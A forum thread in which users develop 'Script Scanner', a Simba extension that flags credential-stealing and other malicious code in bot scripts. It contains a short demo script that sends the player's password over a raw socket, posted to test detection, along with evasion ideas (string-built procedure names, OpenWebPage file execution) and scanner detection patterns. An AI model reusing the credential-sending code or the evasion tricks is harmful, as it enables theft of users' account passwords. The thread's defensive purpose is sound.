SRL Archive - Research & Development Lounge

Looks nice, but couldn't you just read through the code and see what it did?

From: Dvsdvl
Looks nice, but couldn't you just read through the code and see what it did?

But this is for people who don't want to read every script/can't understand it all (yet).

From: Kevin
But this is for people who don't want to read every script/can't understand it all (yet).

This.

I don't understand much of the string stuff. You would have to ask Jani if you had any questons

Hope you don't mind me getting involved. Ran the extension and there were a couple of things which bugged me. Mainly the font, irregular capitalisation/punctuation, and the fact you had to check the check boxes every time you wanted to use it. My logic is that most people want all the features, so it'd be easier having them automatically checked, and if they want to disable something they can uncheck it. Petty things, I know, but I thought I might as well have a play.

The version with my alterations is attached. Let me know if you want me to remove it :)


EDIT: You could also, instead of having to direct people to this thread to update, just do it automatically. You'd have to host the latest version online, but all you'd need is something like this:

procedure Update;
var
  Script : Integer;

begin
  try
    Script:= RewriteFile(ExtPath + 'ScriptScanner.sex', True);
    WriteFileString(Script, GetPage('WhereTheExtensionIsHosted/ScriptScanner.sex'));
    MessageBox('ScriptScanner has been successfully updated. Please reopen Simba.', 'Complete', 0);
  except
    MessageBox('An error occurred while trying to update ScriptScanner', 'Error', 0);
  finally
    CloseFile(Script);
  end;
  TerminateScript;
end;  

There's some weird issues with extension version (link to the post @development thread)…
Can anyone confirm those issues? ..or is it just me?

Also, posted latest extension version 2.01 and latest script version 1.54 to that post..

-Jani

They don't need to be separate ether, Write the script version with the extension version in mind, then have the extension include the script.

Here's an example of what I mean -

This extension calls {$I ScriptScanner.simba}, which has all of the form code.

Should have a variable named Form, of TForm, and two methods, InitForm, and FreeForm.
InitForm takes two parameters, Owner, TComponent, and Visible, Boolean.

program ScriptScanner;

const
  Development = False;

  MenuItem_Open = 0;
  MenuItem_Help = 2;
  MenuItem_About = 3;
  MenuItem_DevThread = 5;
  
var
  Menu: TMenuItem;
  MenuItems: array[MenuItem_Open..MenuItem_DevThread] of TMenuItem;

{$I ScriptScanner.simba}
  
procedure Click(Sender: TObject);
begin
  case Sender of
    MenuItems[MenuItem_Open]: Form.ShowModal();
    MenuItems[MenuItem_Help]: OpenWebPage('http://villavu.com/forum/showthread.php?t=103996');
    MenuItems[MenuItem_About]: WriteLn(#10#13'Script Scanner by Janilabo, Form by Officer Barbrady.'#10#13);
    MenuItems[MenuItem_DevThread]: OpenWebPage('http://villavu.com/forum/showthread.php?t=103408');
  end;
end;

function GetName(): string;
begin
  Result := 'Script Scanner';
end;

function GetVersion(): string;
begin
  Result := '0.1a';
end;
  
procedure Attach();
begin
  Menu.Visible := True;
end;

procedure Detach();
begin
  Menu.Visible := False;
end;

procedure Init();
var
  I: LongInt;
  Captions: TStringArray;
begin
  InitForm(Simba, False);

  Menu := TMenuItem.Create(Simba_MainMenu);
  Menu.Caption := GetName();
  Menu.Visible := False;
  Simba_MainMenu.Items.Add(Menu);
  
  Captions := ['Open', '-', 'Help', 'About', '-', 'Development Thread'];
  for I := MenuItem_Open to MenuItem_DevThread do
  begin
    MenuItems[I] := TMenuItem.Create(Menu);
	MenuItems[I].Caption := Captions[I];
	MenuItems[I].OnClick :=  [MENTION=12941]click[/MENTION];
	if (I > MenuItem_About) then
	  MenuItems[I].Visible := Development;
	Menu.Add(MenuItems[I]);
  end;
end;

procedure Free();
begin
  if (not (Assigned(Form.Owner))) then
    FreeForm();
end;

begin
end.

From: Dgby714
They don't need to be separate ether, Write the script version with the extension version in mind, then have the extension include the script.

Here's an example of what I mean -

This extension calls {$I ScriptScanner.simba}, which has all of the form code.

Should have a variable named Form, of TForm, and two methods, InitForm, and FreeForm.
InitForm takes two parameters, Owner, TComponent, and Visible, Boolean.

program ScriptScanner;

const
  Development = False;

  MenuItem_Open = 0;
  MenuItem_Help = 2;
  MenuItem_About = 3;
  MenuItem_DevThread = 5;
  
var
  Menu: TMenuItem;
  MenuItems: array[MenuItem_Open..MenuItem_DevThread] of TMenuItem;

{$I ScriptScanner.simba}
  
procedure Click(Sender: TObject);
begin
  case Sender of
    MenuItems[MenuItem_Open]: Form.ShowModal();
    MenuItems[MenuItem_Help]: OpenWebPage('http://villavu.com/forum/showthread.php?t=103996');
	MenuItems[MenuItem_About]: WriteLn(#10#13'Script Scanner by Janilabo, Form by Officer Barbrady.'#10#13);
	MenuItems[MenuItem_DevThread]: OpenWebPage('http://villavu.com/forum/showthread.php?t=103408');
  end;
end;

function GetName(): string;
begin
  Result := 'Script Scanner';
end;

function GetVersion(): string;
begin
  Result := '0.1a';
end;
  
procedure Attach();
begin
  Menu.Visible := True;
end;

procedure Detach();
begin
  Menu.Visible := False;
end;

procedure Init();
var
  I: LongInt;
  Captions: TStringArray;
begin
  InitForm(Simba, False);

  Menu := TMenuItem.Create(Simba_MainMenu);
  Menu.Caption := GetName();
  Menu.Visible := False;
  Simba_MainMenu.Items.Add(Menu);
  
  Captions := ['Open', '-', 'Help', 'About', '-', 'Development Thread'];
  for I := MenuItem_Open to MenuItem_DevThread do
  begin
    MenuItems[I] := TMenuItem.Create(Menu);
	MenuItems[I].Caption := Captions[I];
	MenuItems[I].OnClick := [MENTION=12941]click[/MENTION];
	if (I > MenuItem_About) then
	  MenuItems[I].Visible := Development;
	Menu.Add(MenuItems[I]);
  end;
end;

procedure Free();
begin
  if (not (Assigned(Form.Owner))) then
    FreeForm();
end;

begin
end.

I was thinking a .sex that can be run as the extension or a script like the dtm editor ill just have abunch of ifdefs

From: Officer Barbrady
I was thinking a .sex that can be run as the extension or a script like the dtm editor ill just have abunch of ifdefs

Officer, did you test the latest version of this extension yet: 2.03 (attached to that post)

It should be working a little better by now.
Still maybe some tweaking here and there, but I really think it should be updated to the topic's.. Simply because the stability is so much better now.

-Jani

From: Janilabo
Officer, did you test the latest version of this extension yet: 2.03 (attached to that post)

It should be working a little better by now.
Still maybe some tweaking here and there, but I really think it should be updated to the topic's.. Simply because the stability is so much better now.

-Jani

I'll do some testing tomorrow and make the .sex runable as a script or extension

From: Officer Barbrady
I'll do some testing tomorrow and make the .sex runable as a script or extension

There is no point, you should have a script, that can be used as a script, and a sex that is simple and relies on the script.

I'm going to be leaving tomorrow, ill be away until Sunday (posted on other topic also)

Been working more for this extension lately…

Extension version 2.04 - Changelog:

Added sub-menu for Help, it now opens PM message screen to only me or OB - not both like it used to (which was slightly annoying)
Couple important logical fixes for FindEx()
Tweaked the detection a lot with regex changes - so its even more flexible now

Attaching both editions here, the extension one and also script.

Needs a lot more work.. Broken through a socket which should be a high level threat on its radar but it only seems to check for AddPost and Post/Get functions. :S
Should probably remove the script below but its a crappy example and I doubt anyone would use it but meh..

*************************************************
*        _  _  _       _  _  _  _  _ __         *
*       /_`/ `/_//|/  /_//_`/_// //_//          *
*      ._//_,/ // |  / \/_,/  /_// \/           *
*                                               *
*************************************************
                                                 
=================Filtered Script=================
@@@@@@@@@@@@@@@@@@

procedure DeclarePlayers;
begin
  HowManyPlayers := 1;
  NumberOfPlayers(HowManyPlayers);
  CurrentPlayer := 0;

  with Players[0] do
  begin
    Name        := %%;       @@@@@@@@@@@
    Pass        := %%;      @@@@@@@@@@@
    Active      := True;   @@@@@@@@@@@@@@@@@@@@@@@
  end;
end;

procedure Send(IP, Port, Text: String);
var
  Sock: Integer;
begin
  try
    Sock := CreateSocket;
    ConnectSocket(Sock, IP, Port);
    writeln(RecvSocket(Sock));
    SendSocket(Sock, Text);
    @@@@@@@@@@@@@@@@@@@
    CloseSocket(Sock);
    FreeSocket(Sock);
  except
    FreeSocket(Sock);
  end;
end;


begin
  SetupSRL;
  DeclarePlayers;
  Send(%%%%%%%%%%%, %%%%%%%, Players[0].Pass);
end.
=================================================
                                                 
===================Scan Steps====================
 Step 1/4 - HTTP Threats [0 ms.]
 Step 2/4 - Web Threats [0 ms.]
 Step 3/4 - Fishy Code [15 ms.]
 Step 4/4 - Unhuman/Abnormal Code [0 ms.]
      --- Scanning 42 lines took 15 ms. ---
=================================================
                                                 
============Messages for HTTP Threats============
=================================================
                                                 
=============Messages for Web Threats============
=================================================
                                                 
=============Messages for Fishy Code=============
=================================================
                                                 
==============Messages for Bad Code==============
 Couldn't find any randomness in script [Risk level: MEDIUM], potential ban.
=================================================
                                                 
=================================================
                                                 
==================Scan Results===================
 HTTP threats: 0
 Web threats: 0
 Fishy code: 0
 Bad code: 1
 Overall threats: 1
 Script Risk Level: Low
=================================================
                                                 
=====================FINISHED====================
 Remember to visit the thread for latest updates.
               Thank you for using!              
=================================================
Successfully executed.

{$I SRL/SRL.Simba}

procedure DeclarePlayers;
begin
  HowManyPlayers := 1;
  NumberOfPlayers(HowManyPlayers);
  CurrentPlayer := 0;

  with Players[0] do
  begin
    Name        := '';       // Username
    Pass        := '';      // Password
    Active      := True;   // Is Player To Be Used
  end;
end;

procedure Send(IP, Port, Text: String);
var
  Sock: Integer;
begin
  try
    Sock := CreateSocket;
    ConnectSocket(Sock, IP, Port);
    writeln(RecvSocket(Sock));
    SendSocket(Sock, Text);
    //RecvSocket(Sock);
    CloseSocket(Sock);
    FreeSocket(Sock);
  except
    FreeSocket(Sock);
  end;
end;


begin
  SetupSRL;
  DeclarePlayers;
  Send('localhost', '27015', Players[0].Pass);
end.

EDIT:

@Brandon
This scanner detects socket threats now - attached extension version 2.05 and script version 1.58 to this post! :)

Once again, thanks for giving feedback about this utility man.
I need to see how I could improve that User/Pass/Pin part even more, hmm…

From: Brandon
Needs a lot more work.. Broken through a socket which should be a high level threat on its radar but it only seems to check for AddPost and Post/Get functions. :S
Should probably remove the script below but its a crappy example and I doubt anyone would use it but meh..

*************************************************
*        _  _  _       _  _  _  _  _ __         *
*       /_`/ `/_//|/  /_//_`/_// //_//          *
*      ._//_,/ // |  / \/_,/  /_// \/           *
*                                               *
*************************************************
                                                 
=================Filtered Script=================
@@@@@@@@@@@@@@@@@@

procedure DeclarePlayers;
begin
  HowManyPlayers := 1;
  NumberOfPlayers(HowManyPlayers);
  CurrentPlayer := 0;

  with Players[0] do
  begin
    Name        := %%;       @@@@@@@@@@@
    Pass        := %%;      @@@@@@@@@@@
    Active      := True;   @@@@@@@@@@@@@@@@@@@@@@@
  end;
end;

procedure Send(IP, Port, Text: String);
var
  Sock: Integer;
begin
  try
    Sock := CreateSocket;
    ConnectSocket(Sock, IP, Port);
    writeln(RecvSocket(Sock));
    SendSocket(Sock, Text);
    @@@@@@@@@@@@@@@@@@@
    CloseSocket(Sock);
    FreeSocket(Sock);
  except
    FreeSocket(Sock);
  end;
end;


begin
  SetupSRL;
  DeclarePlayers;
  Send(%%%%%%%%%%%, %%%%%%%, Players[0].Pass);
end.
=================================================
                                                 
===================Scan Steps====================
 Step 1/4 - HTTP Threats [0 ms.]
 Step 2/4 - Web Threats [0 ms.]
 Step 3/4 - Fishy Code [15 ms.]
 Step 4/4 - Unhuman/Abnormal Code [0 ms.]
      --- Scanning 42 lines took 15 ms. ---
=================================================
                                                 
============Messages for HTTP Threats============
=================================================
                                                 
=============Messages for Web Threats============
=================================================
                                                 
=============Messages for Fishy Code=============
=================================================
                                                 
==============Messages for Bad Code==============
 Couldn't find any randomness in script [Risk level: MEDIUM], potential ban.
=================================================
                                                 
=================================================
                                                 
==================Scan Results===================
 HTTP threats: 0
 Web threats: 0
 Fishy code: 0
 Bad code: 1
 Overall threats: 1
 Script Risk Level: Low
=================================================
                                                 
=====================FINISHED====================
 Remember to visit the thread for latest updates.
               Thank you for using!              
=================================================
Successfully executed.

{$I SRL/SRL.Simba}

procedure DeclarePlayers;
begin
  HowManyPlayers := 1;
  NumberOfPlayers(HowManyPlayers);
  CurrentPlayer := 0;

  with Players[0] do
  begin
    Name        := '';       // Username
    Pass        := '';      // Password
    Active      := True;   // Is Player To Be Used
  end;
end;

procedure Send(IP, Port, Text: String);
var
  Sock: Integer;
begin
  try
    Sock := CreateSocket;
    ConnectSocket(Sock, IP, Port);
    writeln(RecvSocket(Sock));
    SendSocket(Sock, Text);
    //RecvSocket(Sock);
    CloseSocket(Sock);
    FreeSocket(Sock);
  except
    FreeSocket(Sock);
  end;
end;


begin
  SetupSRL;
  DeclarePlayers;
  Send('localhost', '27015', Players[0].Pass);
end.

Thanks for the feedback, Brandon!

I'll add those socket things in - much appreciated mate.

Regards,
-Jani

From: Janilabo
EDIT:

@Brandon
This scanner detects socket threats now - attached extension version 2.05 and script version 1.58 to this post! :)

Once again, thanks for giving feedback about this utility man.
I need to see how I could improve that User/Pass/Pin part even more, hmm…

Thanks for the feedback, Brandon!

I'll add those socket things in - much appreciated mate.

Regards,
-Jani

:D Very nice! HighLevel threat notice :D There are other ways of course but lets not go there.. The most important ones are taken care of for sure.

The reason I mentioned it was because it's probably the most important functions to search for.. seeing as Simba supports SQLite, you could've written the user and pass to an sqlite db file or any file or a string and send it through the raw sockets.. But you took care of that and gave it nice warnings :)

Yeah the password stuff would need a bit of work but it's good enough for me since outgoing connections through raw sockets have a nice warning level.

Anyway..

+1 from me for an excellent job. Well done.

From: Brandon
:D Very nice! HighLevel threat notice :D There are other ways of course but lets not go there.. The most important ones are taken care of for sure.

The reason I mentioned it was because it's probably the most important functions to search for.. seeing as Simba supports SQLite, you could've written the user and pass to an sqlite db file or any file or a string and send it through the raw sockets.. But you took care of that and gave it nice warnings :)

Yeah the password stuff would need a bit of work but it's good enough for me since outgoing connections through raw sockets have a nice warning level.

Anyway..

+1 from me for an excellent job. Well done.

Thank you Brandon. :)

Extension version 2.06 and Script version 1.59 OUT!

Changelog:

-The filtered script displays/includes file lines now in debug box
-Support for File Threat detection added in
-Improved HTTP Threat detection (looks for few more items now)
-Miscellaneous tweaking here and there

Enjoy,
-Jani

This looks like a very promising Extension. Hopefully the User in the future will put it to good use. :)

From: BraK
This looks like a very promising Extension. Hopefully the User in the future will put it to good use. :)

Cheers for the feedback, BraK!

Sorry about late response, I have been busy working for this new version, which is finally finished now… :p

Attached script edition, version 1.60.
Going to attach extension edition later, when I have added these recent changes to it. :)

Small changelog:

-Improved Scan Steps - displays A LOT more information!
-Added constant for debugging Scan Steps (so this part is optional now)
-Changed Name, Pass and Pin detection to use similar way that was used in ScannerV1.3 (the old version of this script) - there is still strict inormation detection available, with STRICT_PLAYERS_INFO_DETECTION constant
-Enhanced debugged report with some "eye-candy" :p
-Debugged report wont anymore display empty message boxes
-Some restructuring all around the script

EDIT: Attached extension version 2.07!

@Janilabo I will update to the OP thanks

From: Officer Barbrady
@Janilabo I will update to the OP thanks

Thanks Officer!

Looks great guys, good improvements :)

Progress, progress…

Script Scanner
Extension Edition version: 2.08
Script Edition version: 1.61

Added small changes all around the utility, nothing that big though (compared to last version releases):

-Script text area in form is now based on Courier New font
-Disabled WordWrap from Script text area
-Forgot the bottom line of Scan Steps from extension edition in 2.07, added it in 2.08
-Added zero digits to line numbering of filtered script text, just to fill that gap between script text and line indexes

From: Janilabo
Progress, progress…

Script Scanner
Extension Edition version: 2.08
Script Edition version: 1.61

Added small changes all around the utility, nothing that big though (compared to last version releases):

-Script text area in form is now based on Courier New font
-Disabled WordWrap from Script text area
-Forgot the bottom line of Scan Steps from extension edition in 2.07, added it in 2.08
-Added zero digits to line numbering of filtered script text, just to fill that gap between script text and line indexes

Will be updated tomorrow

From: Officer Barbrady
Will be updated tomorrow

Alright! :)

EDIT: Released 1.63 / 2.10 (named the extension to ScriptScanner.sex for 2.10) - few finishing touches for Scan Results..!

By the way, new releases (been working a little more for this utility):
Script Edition version 1.62
Extension Edition version 2.09

Changelog:

-Added TextReport function, that returns the report as string - with this function we can save reports to files, but also still have the good ol' WriteLn way supported aswell
-Got the "Scan Results" part (in report) a little easier to read

Scan Results part looks like this now (in 1.63 / 2.10):

<================[Scan Results]=================>
 Socket threats................................0
 HTTP threats..................................0
 Web threats...................................0
 File threats..................................0
 Fishy code....................................0
 Unhuman code..................................1
 -----------------------------------------------
 Overall threats...............................1
 Script Risk Level...........................Low
<===============================================>

Example scan report from password stealing script, using the latest Script Scanner versions:

*************************************************
*        _  _  _       _  _  _  _  _ __         *
*       /_`/ `/_//|/  /_//_`/_// //_//          *
*      ._//_,/ // |  / \/_,/  /_// \/           *
*                                               *
*************************************************
                                                 
<===============[Filtered Script]===============>
 *SNIP*
<===============================================>
                                                 
<=================[Scan Steps]==================>
 ??????????????????????????????????????????????? 
 ??<16:56:25:139> Step 1/6 - Socket Threats [78 ms.]
 ????<16:56:25:139> Scan for CreateSocket [0 ms.]
 ????<16:56:25:139> Scan for ConnectSocket(*) [16 ms.]
 ????<16:56:25:149> Scan for SendSocket(*) [0 ms.]
 ????<16:56:25:159> Scan for RecvSocket(*) [16 ms.]
 ????<16:56:25:169> Scan for RecvSocketStr(*) [15 ms.]
 ????<16:56:25:179> Scan for RecvSocketEx(*) [0 ms.]
 ????<16:56:25:189> Scan for BindSocket(*) [16 ms.]
 ????<16:56:25:199> Scan for SocketInfo(*) [15 ms.]
 ?
 ??<16:56:25:209> Step 2/6 - HTTP Threats [110 ms.]
 ????<16:56:25:209> Scan for AddPostVariable(*) [0 ms.]
 ????<16:56:25:219> Scan for GetPage(*) [16 ms.]
 ??????<16:56:25:229> DETECTED 15 THREATS:
 ????????<16:56:25:229> Found GetPage(*) @ line 163!
 ????????<16:56:25:229> Found GetPage(*) @ line 172!
 ????????<16:56:25:229> Found GetPage(*) @ line 172!
 ????????<16:56:25:239> Found GetPage(*) @ line 172!
 ????????<16:56:25:239> Found GetPage(*) @ line 173!
 ????????<16:56:25:239> Found GetPage(*) @ line 173!
 ????????<16:56:25:239> Found GetPage(*) @ line 183!
 ????????<16:56:25:239> Found GetPage(*) @ line 191!
 ????????<16:56:25:239> Found GetPage(*) @ line 193!
 ????????<16:56:25:239> Found GetPage(*) @ line 195!
 ????????<16:56:25:239> Found GetPage(*) @ line 205!
 ????????<16:56:25:249> Found GetPage(*) @ line 214!
 ????????<16:56:25:249> Found GetPage(*) @ line 218!
 ????????<16:56:25:249> Found GetPage(*) @ line 499!
 ????????<16:56:25:249> Found GetPage(*) @ line 504!
 ????<16:56:25:249> Scan for PostHTTPPage(*) [15 ms.]
 ????<16:56:25:259> Scan for PostHTTPPageEx(*) [16 ms.]
 ????<16:56:25:269> Scan for GetRawHeaders(*) [0 ms.]
 ????<16:56:25:279> Scan for SetHTTPUserAgent(*) [15 ms.]
 ????<16:56:25:289> Scan for GetHTTPPage(*) [0 ms.]
 ????<16:56:25:299> Scan for InitializeHTTPClient(*) [16 ms.]
 ????<16:56:25:309> Scan for InitializeHTTPClientWrap(*) [16 ms.]
 ?
 ??<16:56:25:319> Step 3/6 - Web Threats [0 ms.]
 ????<16:56:25:319> Scan for OpenWebPage(*) [0 ms.]
 ?
 ??<16:56:25:329> Step 4/6 - File Threats [171 ms.]
 ????<16:56:25:329> Scan for CreateFile(*) [15 ms.]
 ????<16:56:25:339> Scan for OpenFile(*) [16 ms.]
 ????<16:56:25:349> Scan for RewriteFile(*) [0 ms.]
 ??????<16:56:25:359> DETECTED 1 THREAT:
 ????????<16:56:25:359> Found RewriteFile(*) @ line 507!
 ????<16:56:25:359> Scan for ReadFileString(*) [15 ms.]
 ????<16:56:25:369> Scan for WriteFileString(*) [16 ms.]
 ??????<16:56:25:379> DETECTED 1 THREAT:
 ????????<16:56:25:379> Found WriteFileString(*) @ line 509!
 ????<16:56:25:379> Scan for DirectoryExists(*) [0 ms.]
 ????<16:56:25:389> Scan for FileExists(*) [16 ms.]
 ????<16:56:25:399> Scan for CreateDirectory(*) [0 ms.]
 ????<16:56:25:409> Scan for ForceDirectories(*) [15 ms.]
 ????<16:56:25:419> Scan for GetFiles(*) [16 ms.]
 ????<16:56:25:429> Scan for GetDirectories(*) [0 ms.]
 ????<16:56:25:439> Scan for DeleteFile(*) [0 ms.]
 ????<16:56:25:439> Scan for RenameFile(*) [15 ms.]
 ????<16:56:25:449> Scan for WriteINI(*) [16 ms.]
 ??????<16:56:25:459> DETECTED 4 THREATS:
 ????????<16:56:25:469> Found WriteINI(*) @ line 154!
 ????????<16:56:25:469> Found WriteINI(*) @ line 155!
 ????????<16:56:25:469> Found WriteINI(*) @ line 156!
 ????????<16:56:25:469> Found WriteINI(*) @ line 157!
 ????<16:56:25:469> Scan for ReadINI(*) [16 ms.]
 ??????<16:56:25:479> DETECTED 4 THREATS:
 ????????<16:56:25:479> Found ReadINI(*) @ line 445!
 ????????<16:56:25:479> Found ReadINI(*) @ line 453!
 ????????<16:56:25:489> Found ReadINI(*) @ line 462!
 ????????<16:56:25:489> Found ReadINI(*) @ line 470!
 ????<16:56:25:489> Scan for DeleteINI(*) [0 ms.]
 ?
 ??<16:56:25:549> Step 5/6 - Fishy Code [47 ms.]
 ????<16:56:25:499> Scan for Name [16 ms.]
 ??????<16:56:25:509> DETECTED 2 THREATS:
 ????????<16:56:25:509> Found Name @ line 40!
 ????????<16:56:25:509> Found Name @ line 169!
 ????<16:56:25:509> Scan for Pass [15 ms.]
 ??????<16:56:25:529> DETECTED 2 THREATS:
 ????????<16:56:25:529> Found Pass @ line 41!
 ????????<16:56:25:529> Found Pass @ line 169!
 ????<16:56:25:529> Scan for Pin [16 ms.]
 ??????<16:56:25:549> DETECTED 2 THREATS:
 ????????<16:56:25:549> Found Pin @ line 42!
 ????????<16:56:25:549> Found Pin @ line 169!
 ????<16:56:25:549> Scan for ToStr(Players[*]) [0 ms.]
 ????<16:56:25:549> Scan for TradeScreen [16 ms.]
 ????<16:56:25:559> Scan for SomeoneTrades [0 ms.]
 ????<16:56:25:559> Scan for GetTradersName [15 ms.]
 ????<16:56:25:569> Scan for TradeScreenName [0 ms.]
 ????<16:56:25:569> Scan for AcceptTrade [0 ms.]
 ????<16:56:25:579> Scan for Accept [0 ms.]
 ????<16:56:25:579> Scan for Waiting [16 ms.]
 ????<16:56:25:589> Scan for PlayerAccepted [0 ms.]
 ?
 ??<16:56:25:549> Step 6/6 - Unhuman/Abnormal Code [47 ms.]
 ????<16:56:25:589> Scan for MMouse(x, y, 1, 1) [15 ms.]
 ????<16:56:25:599> Scan for Mouse(x, y, 1, 1, *) [15 ms.]
 ????<16:56:25:609> Scan for Random[Range](*) [32 ms.]
 ??????????????????????????????????????????????? 
    --- Scanning 1308 lines took 515 ms. ---
<===============================================>
                                                 
<==========[Messages for HTTP Threats]==========>
 Found "GetPage" [Risk level: HIGH]
<===============================================>
                                                 
<===========[Messages for File Threats]=========>
 Found "RewriteFile" [Risk level: VERY HIGH]
 Found "WriteFileString" [Risk level: HIGH]
 Found "WriteINI" [Risk level: HIGH]
 Found "ReadINI" [Risk level: LOW]
<===============================================>
                                                 
<===========[Messages for Fishy Code]===========>
 The variable "Name" is used more then once [Risk level: MEDIUM]
 The variable "Pass" is used more then once [Risk level: VERY HIGH]
 The variable "Pin" is used more then once [Risk level: HIGH]
<===============================================>
                                                 
<=============[Lines with Threats]==============>
 LINE |      KIND      |        THREAT           
 -----+----------------+------------------------ 
 40   | Fishy Code     | Name
 41   | Fishy Code     | Pass
 42   | Fishy Code     | Pin
 154  | File Threat    | WriteINI(*)
 155  | File Threat    | WriteINI(*)
 156  | File Threat    | WriteINI(*)
 157  | File Threat    | WriteINI(*)
 163  | HTTP Threat    | GetPage(*)
 169  | Fishy Code     | Name
 169  | Fishy Code     | Pass
 169  | Fishy Code     | Pin
 172  | HTTP Threat    | GetPage(*)
 172  | HTTP Threat    | GetPage(*)
 172  | HTTP Threat    | GetPage(*)
 173  | HTTP Threat    | GetPage(*)
 173  | HTTP Threat    | GetPage(*)
 183  | HTTP Threat    | GetPage(*)
 191  | HTTP Threat    | GetPage(*)
 193  | HTTP Threat    | GetPage(*)
 195  | HTTP Threat    | GetPage(*)
 205  | HTTP Threat    | GetPage(*)
 214  | HTTP Threat    | GetPage(*)
 218  | HTTP Threat    | GetPage(*)
 445  | File Threat    | ReadINI(*)
 453  | File Threat    | ReadINI(*)
 462  | File Threat    | ReadINI(*)
 470  | File Threat    | ReadINI(*)
 499  | HTTP Threat    | GetPage(*)
 504  | HTTP Threat    | GetPage(*)
 507  | File Threat    | RewriteFile(*)
 509  | File Threat    | WriteFileString(*)
<===============================================>
                                                 
<================[Scan Results]=================>
 Socket threats................................0
 HTTP threats.................................15
 Web threats...................................0
 File threats.................................10
 Fishy code....................................6
 Unhuman code..................................0
 -----------------------------------------------
 Overall threats..............................31
 Script Risk Level.....................Very High
<===============================================>
                                                 
<===================[FINISHED]==================>
 Remember to visit the thread for latest updates.
               Thank you for using!              
          ~ Total Time Taken 3308 ms. ~
<===============================================>

(Removed filtered script to cut some unneeded lines/space out)

Attached the editions to this post.. :p

-Jani

Time for a small bump…

Ran out of attachment space with last post…
..AND I have also restructured the script a lot, making it much more dynamic!

These recent/latest changes will be helping me out at designing/developing the new GUI for this script (hoping to get it out soon), which will contain way more features/settings for user's to play around with. :)

Adding new threats aint anymore so much of work either, because of the flexible type structure that I added in with this version.

NOTE: I wont be releasing extension edition now, but I will be releasing again with next release, when I just have that new GUI done.

So, script edition v1.66 is now attached to this post, enjoy!

Hey. Do you know if you can do:

var
  Client: Integer;
  Str: String;
  Params: TVariantArray;
begin
  Str := 'Send';
  Str := Str + 'Socket';
  Params := [Client, 'Testing'];

  CallProc(Str, Params);
end. 

Simba says Unknown Proc for the CallProc. However, if that is possible, that's a big issue. Let's hope that it can't be done & that Simba's right. Other than that, good work.

From: Brandon
Hey. Do you know if you can do:

var
  Client: Integer;
  Str: String;
  Params: TVariantArray;
begin
  Str := 'Send';
  Str := Str + 'Socket';
  Params := [Client, 'Testing'];

  CallProc(Str, Params);
end. 

Simba says Unknown Proc for the CallProc. However, if that is possible, that's a big issue. Let's hope that it can't be done & that Simba's right. Other than that, good work.

You can't use CallProc for Simba's built-in procedures, so yeah, it isn't possible. :)

Here is a neat little trick with OpenWebPage() - file execution:

begin
  OpenWebPage('C:\Simba\Simba.exe');
end.

But obviously, that is detected with Script Scanner's OpenWebPage detection anyways, so it isn't really a big deal..

Probably something that Simba should block in the future, though.
That trick used to be available in SCAR Divi aswell, but nowadays its blocked and SCAR throws an "Unknown network protocol" message whenever you try to do it.
..which is only a good thing, because OpenWebPage obviously isn't there for file execution.

Although, I am hoping that both, SCAR and Simba, will have custom commands (NOT OpenWebPage) for file execution in the future!

Very useful to scan through long scripts (1000+ lines)

Should update simba to support it fully, like add a prompt message box when a script is run for the first time asking the user if he wishes to scan it, and adding an icon next to the run button in simba that scans the script for malicious coding. And scanning scripts when they request an update too.

Very very nice, great tool thank you for it!

From: samerdl
Very useful to scan through long scripts (1000+ lines)

Should update simba to support it fully, like add a prompt message box when a script is run for the first time asking the user if he wishes to scan it, and adding an icon next to the run button in simba that scans the script for malicious coding. And scanning scripts when they request an update too.

Very very nice, great tool thank you for it!

Thank Janilabo, but I disagree with it being added to simba simply because security.simba does most of the job

From: samerdl
Very useful to scan through long scripts (1000+ lines)

Should update simba to support it fully, like add a prompt message box when a script is run for the first time asking the user if he wishes to scan it, and adding an icon next to the run button in simba that scans the script for malicious coding. And scanning scripts when they request an update too.

Very very nice, great tool thank you for it!

Thanks for the positive feedback, samerdl!
Glad you like it. :p

Releasing the latest version of Extension Edition, as it's now based on those dynamic methods.
Did some changes for the GUI aswell, but there is a lot more to come!

Image of the GUI now (Extension Edition):

Example report, from scanning ScriptScanner.sex:

*************************************************
*        _  _  _       _  _  _  _  _ __         *
*       /_`/ `/_//|/  /_//_`/_// //_//          *
*      ._//_,/ // |  / \/_,/  /_// \/           *
*                                               *
*************************************************
                                                 
<===============[Filtered Script]===============>
 *SNIP*
<===============================================>
                                                 
<=================[Scan Steps]==================>
 ??????????????????????????????????????????????? 
 ??<06:12:14:492> Step 1/6 - Socket Threats [63 ms.]
 ????<06:12:14:502> Scan for CreateSocket [0 ms.]
 ????<06:12:14:502> Scan for ConnectSocket [0 ms.]
 ????<06:12:14:512> Scan for SendSocket [0 ms.]
 ????<06:12:14:512> Scan for RecvSocket [16 ms.]
 ????<06:12:14:522> Scan for RecvSocketStr [15 ms.]
 ????<06:12:14:532> Scan for RecvSocketEx [0 ms.]
 ????<06:12:14:542> Scan for BindSocket [0 ms.]
 ????<06:12:14:542> Scan for SocketInfo [16 ms.]
 ?
 ??<06:12:14:552> Step 2/6 - HTTP Threats [62 ms.]
 ????<06:12:14:552> Scan for AddPostVariable [15 ms.]
 ????<06:12:14:562> Scan for GetPage [0 ms.]
 ??????<06:12:14:562> DETECTED 1 THREAT:
 ????????<06:12:14:562> Found GetPage @ line 1737!
 ????<06:12:14:572> Scan for PostHTTPPage [16 ms.]
 ????<06:12:14:582> Scan for PostHTTPPageEx [16 ms.]
 ????<06:12:14:592> Scan for GetRawHeaders [0 ms.]
 ????<06:12:14:592> Scan for SetHTTPUserAgent [0 ms.]
 ????<06:12:14:602> Scan for GetHTTPPage [15 ms.]
 ????<06:12:14:612> Scan for InitializeHTTPClient [0 ms.]
 ????<06:12:14:622> Scan for InitializeHTTPClientWrap [0 ms.]
 ?
 ??<06:12:14:622> Step 3/6 - Web Threats [16 ms.]
 ????<06:12:14:622> Scan for OpenWebPage [16 ms.]
 ??????<06:12:14:632> DETECTED 1 THREAT:
 ????????<06:12:14:632> Found OpenWebPage @ line 422!
 ?
 ??<06:12:14:632> Step 4/6 - File Threats [109 ms.]
 ????<06:12:14:632> Scan for CreateFile [15 ms.]
 ????<06:12:14:642> Scan for OpenFile [0 ms.]
 ????<06:12:14:652> Scan for RewriteFile [0 ms.]
 ????<06:12:14:652> Scan for ReadFileString [16 ms.]
 ????<06:12:14:662> Scan for WriteFileString [16 ms.]
 ????<06:12:14:672> Scan for DirectoryExists [0 ms.]
 ????<06:12:14:672> Scan for FileExists [0 ms.]
 ????<06:12:14:682> Scan for CreateDirectory [15 ms.]
 ????<06:12:14:692> Scan for ForceDirectories [0 ms.]
 ????<06:12:14:692> Scan for GetFiles [16 ms.]
